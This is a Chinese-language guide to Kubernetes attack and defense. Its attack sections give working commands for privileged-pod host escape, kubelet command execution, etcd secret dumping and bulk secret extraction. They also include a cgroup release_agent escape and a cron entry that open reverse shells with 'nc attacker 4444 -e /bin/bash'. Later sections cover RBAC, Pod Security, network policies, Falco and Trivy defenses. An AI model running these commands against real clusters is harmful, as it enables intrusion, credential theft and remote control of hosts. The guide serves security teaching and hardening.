Kubernetes 安全攻击与防御完全指南

← 返回指南列表

Kubernetes 安全攻击与防御完全指南

Kubernetes 已成为容器编排的事实标准,但其复杂的架构带来了巨大的攻击面。从 kubelet 未认证 API 到 etcd 无加密访问、从 RBAC 配置错误到容器逃逸,K8s 安全的每个层面都需要深入关注。


一、Kubernetes 安全架构

1.1 K8s 安全层次

GRAPH
TD
    subgraph 集群安全
        A[API Server] --> B[认证]
        B --> C[授权/RBAC]
        C --> D[准入控制]
    end
    subgraph 节点安全
        E[kubelet] --> F[容器运行时]
        F --> G[容器隔离]
        G --> H[Pod 安全策略]
    end
    subgraph 网络安全
        I[网络策略] --> J[服务网格]
        J --> K[mTLS]
    end
    subgraph 存储安全
        L[Secret] --> M[加密存储]
        M --> N[RBAC 访问控制]
    end

1.2 API Server 认证

YAML
# kube-apiserver 认证配置
--authorization-mode=Node,RBAC
--enable-admission-plugins=NodeRestriction,PodSecurityPolicy
--anonymous-auth=false
--oidc-issuer-url=https://accounts.google.com
--oidc-client-id=kubernetes
--token-auth-file=/etc/kubernetes/tokens.csv
--service-account-key-file=/etc/kubernetes/sa.pub
--tls-cert-file=/etc/kubernetes/pki/apiserver.crt
--tls-private-key-file=/etc/kubernetes/pki/apiserver.key

1.3 RBAC 授权

YAML
# 危险的 ClusterRole 绑定 - 集群管理权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: dangerous-binding
subjects:
- kind: User
  name: attacker
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
ClusterRole 风险 说明
cluster-admin 极高 完全集群管理权限
admin 高 命名空间管理权限
edit 中 可以创建/修改资源
view 低 只读权限
custom:secret-reader 中 读取 Secrets

二、攻击面概览

2.1 K8s 攻击链

BASH
攻击步骤:
1. 发现 K8s API Server (6443)
2. 探测未认证 API
3. 获取 Service Account Token
4. 枚举集群资源
5. 创建恶意 Pod/容器
6. 横向移动到其他节点
7. 窃取 Secrets/凭据
8. 持久化访问

2.2 常见攻击面

攻击面 端口 风险等级 说明
API Server 6443 极高 集群控制核心
kubelet 10250/10255 高 节点级控制
etcd 2379/2380 极高 集群状态存储
Dashboard 任意 中 Web 管理界面
NodePort 30000-32767 中 服务暴露
kube-proxy 10256 低 网络代理

2.3 初始访问方法

BASH
# 1. 从企业内部网络扫描
nmap -p 6443 10.0.0.0/8
nmap -p 6443,10250,2379 192.168.0.0/16

# 2. 从 CI/CD 流水线获取凭证
# Jenkins/GitLab Runner 中的 KUBECONFIG 泄露

# 3. 从容器内部探测
# 默认 Service Account 自动挂载
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# 4. 从配置泄露
# .kube/config 文件泄露
# kubectl 命令历史
# Helm values.yaml 泄露

三、API Server 攻击

3.1 未认证 API

BASH
# 检查 API Server 是否允许匿名访问
curl -k https://api-server:6443/api/v1/pods
# 如果返回 pods 列表,则存在未认证访问

# 匿名用户可访问的 API(如果配置不当)
curl -k https://10.0.0.1:6443/api/v1/namespaces/default/secrets
curl -k https://10.0.0.1:6443/api/v1/nodes
curl -k https://10.0.0.1:6443/api/v1/pods

3.2 使用 Service Account

BASH
# 从 Pod 内部操作
# 默认 Service Account 通常绑定在 default 命名空间
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# 检查当前权限
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/secrets

# 列举 pods
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/pods

# 列举所有 service account
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/serviceaccounts

3.3 创建恶意 Pod

YAML
# 创建特权 Pod 用于逃逸到宿主机
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - name: attacker
    image: ubuntu:latest
    command: ["/bin/bash", "-c", "sleep infinity"]
    securityContext:
      privileged: true
      capabilities:
        add: ["SYS_ADMIN"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
BASH
# 通过 kubectl 创建
kubectl apply -f evil-pod.yaml

# 通过 API 直接创建
kubectl --token=$TOKEN run evil-pod --image=ubuntu --privileged --command sleep infinity

# 执行逃逸
kubectl exec -it evil-pod -- chroot /host bash

四、kubelet 攻击

4.1 kubelet API

BASH
# kubelet 默认监听 10250(认证)和 10255(未认证)
# 10255 在 1.13+ 后默认关闭

# 未认证 kubelet
curl http://node:10255/pods
curl http://node:10255/runningpods
curl http://node:10255/stats/summary

# kubelet 认证 API
curl -k https://node:10250/pods
curl -k https://node:10250/run/dmwyZGVmYXVsdC9teS1wb2QvbXktY29udGFpbmVy -X POST -d "cmd=id"

# 在 kubelet 上执行命令(如果权限足够)
curl -k -X POST https://node:10250/run/{namespace}/{pod}/{container} \
  -d "cmd=cat /etc/shadow"

4.2 kubelet 认证绕过

BASH
# 1. 使用 Node 凭据(如果已经入侵了一个 Pod)
# Node 凭据由 kubelet 使用,可以访问某些资源

# 2. 检查是否存在 anonymous 权限
curl -k https://node:10250/runningpods

# 3. 使用 kubelet 提权
# 如果 kubelet 绑定到了 cluster-admin 角色
# 可以通过 kubelet 创建新的 Service Account

# 4. kubeletctl 工具
git clone https://github.com/cyberark/kubeletctl
./kubeletctl -s node:10250 pods
./kubeletctl -s node:10250 exec "id" -p my-pod -c my-container

五、etcd 攻击

5.1 etcd 访问

BASH
# etcd 默认监听 2379(客户端)和 2380(集群通信)
# 如果 etcd 未加密且可访问:

# 1. 查询 etcd 版本
curl http://etcd:2379/version

# 2. 获取 k8s 所有 Secrets
ETCDCTL_API=3 etcdctl --endpoints=http://etcd:2379 get / --prefix --keys-only

# 3. 读取特定 Secret
ETCDCTL_API=3 etcdctl --endpoints=http://etcd:2379 get /registry/secrets/default/mytoken

# 4. 读取所有 Service Account 令牌
ETCDCTL_API=3 etcdctl --endpoints=http://etcd:2379 get /registry/secrets --prefix

5.2 证书认证 etcd

BASH
# 如果 etcd 使用证书认证
ETCDCTL_API=3 etcdctl \
  --endpoints=https://etcd:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry --prefix --keys-only

# 从 etcd 提取 admin 凭据
ETCDCTL_API=3 etcdctl get /registry/secrets/kube-system/admin-token-xxxxx \
  | xxd -r -p | jq .

六、容器逃逸

6.1 特权容器检测

BASH
# 从容器内检查是否是特权容器
cat /proc/1/status | grep CapEff
# 0000003fffffffff -> 特权

# 检查已挂载的 Docker socket
ls -la /var/run/docker.sock

# 检查设备访问
ls -la /dev/

# 检查 capabilities
cat /proc/1/status | grep CapPrm

6.2 cgroup 逃逸

BASH
# 利用 cgroup notify_on_release 机制
# 仅适用于特权容器或有 CAP_SYS_ADMIN 的容器

mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 创建逃逸脚本
echo "#!/bin/bash" > /tmp/escape.sh
echo "nc attacker 4444 -e /bin/bash" >> /tmp/escape.sh
chmod +x /tmp/escape.sh

# 设置 release_agent
echo "/tmp/escape.sh" > /tmp/cgrp/release_agent

# 触发执行
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
echo 1 > /tmp/cgrp/x/notify_on_release

6.3 挂载逃逸

BASH
# 如果挂载了宿主机 /var/log 或其他目录
# 利用日志写入提权

# 在容器中写入 SSH 公钥
echo "ssh-rsa AAA..." > /host/root/.ssh/authorized_keys

# 写入 crontab
echo "*/1 * * * * root nc attacker 4444 -e /bin/bash" > /host/etc/cron.d/evil

七、Secrets 和凭据攻击

7.1 枚举 Secrets

BASH
# 列出所有 Secrets
kubectl get secrets --all-namespaces
kubectl get secrets -n kube-system

# 读取特定 Secret
kubectl get secret admin-token -o yaml
kubectl get secret admin-token -o jsonpath='{.data.token}' | base64 -d

# 从所有 Secrets 中提取凭据
for ns in $(kubectl get ns -o name); do
  for secret in $(kubectl get secrets -n ${ns##*/} -o name); do
    echo "=== $ns/$secret ==="
    kubectl get $secret -n ${ns##*/} -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
  done
done

7.2 Service Account 令牌窃取

BASH
# 在容器内窃取其他 Pod 的 SA
# 如果 Pod 可以访问其他 Pod 的文件系统

# 读取其他 Pod 的令牌
find /var/lib/kubelet/pods/ -name "token" 2>/dev/null

# 使用不同的 Service Account
kubectl --token=$STOLEN_TOKEN get pods --all-namespaces

7.3 配置映射泄露

BASH
# ConfigMaps 经常包含敏感信息
kubectl get configmaps --all-namespaces -o yaml | grep -E "password|secret|key|token|credential" -i

八、安全防御

8.1 RBAC 最小权限

YAML
# 推荐的自定义角色
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
---
# 拒绝 cluster-admin 绑定到非管理用户
# 定期审计 RBAC

8.2 Pod 安全策略 (PSP) / Pod Security Admission

YAML
# Pod Security Standards (PSA)
# privileged - 不受限制
# baseline - 最低安全要求
# restricted - 严格安全(推荐)

apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

8.3 网络策略

YAML
# 默认拒绝所有入站流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-ingress
spec:
  podSelector: {}
  policyTypes:
  - Ingress

# 只允许特定 Pod 访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-allow
spec:
  podSelector:
    matchLabels:
      app: api
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080

8.4 加密通信

YAML
# 启用 etcd 加密
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
    - secrets
    providers:
    - aescbc:
        keys:
        - name: key1
          secret: c2VjcmV0LWtleS0xMjM0NTY3ODkw
    - identity: {}

8.5 运行时安全

BASH
# 使用 Falco 检测运行时异常
# Falco 是 CNCF 的容器运行时安全项目

# 安装 Falco
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace falco --create-namespace

# Falco 规则 - 检测容器内 shell
- rule: Terminal shell in container
  desc: A shell was spawned in a container
  condition: >
    spawned_process and container
    and shell_procs
    and not user_expected_terminal_shell_in_container
  output: >
    Shell was spawned in container
  priority: WARNING

# Falco 规则 - 检测特权容器
- rule: Privileged container
  desc: A privileged container was started
  condition: >
    container_started and container.privileged=true
  output: >
    Privileged container started
  priority: CRITICAL

8.6 镜像安全

BASH
# 使用 Trivy 扫描镜像漏洞
trivy image nginx:latest
trivy image --severity CRITICAL,HIGH nginx:latest

# 在 CI/CD 中集成
trivy image --exit-code 1 --severity CRITICAL $IMAGE_NAME

# 使用 Notary 签名镜像
# 启用镜像签名验证
kube-apiserver --admission-control "ImagePolicyWebhook"

# 只运行签名镜像
imagePolicy:
  kubeConfigFile: /etc/kubernetes/imagepolicy.kubeconfig
  allowTTL: 50
  defaultAllow: false

8.7 安全工具链

工具 用途 部署方式
kube-bench CIS 基准扫描 Job/Pod
kube-hunter 漏洞扫描 Pod/外部
Falco 运行时安全 DaemonSet
OPA/Gatekeeper 策略引擎 Admission Controller
Kyverno 策略管理 Admission Controller
Trivy 镜像扫描 CLI/CI
KubeEye 集群巡检 DaemonSet

九、总结

攻击面 攻击技术 防御措施 优先级
API Server 未认证访问 RBAC + 证书认证 + 匿名禁用 高
kubelet 命令执行 关闭 10255,kubelet 认证 高
etcd 数据窃取 TLS 加密 + 防火墙隔离 高
Secrets 凭据泄露 RBAC + etcd 加密 高
容器 逃逸 Pod Security Standards, non-root 高
镜像 漏洞利用 Trivy 扫描 + 签名 中

K8s 安全黄金法则:最小权限 RBAC + 网络策略隔离 + 镜像扫描 + 运行时检测 + etcd 加密。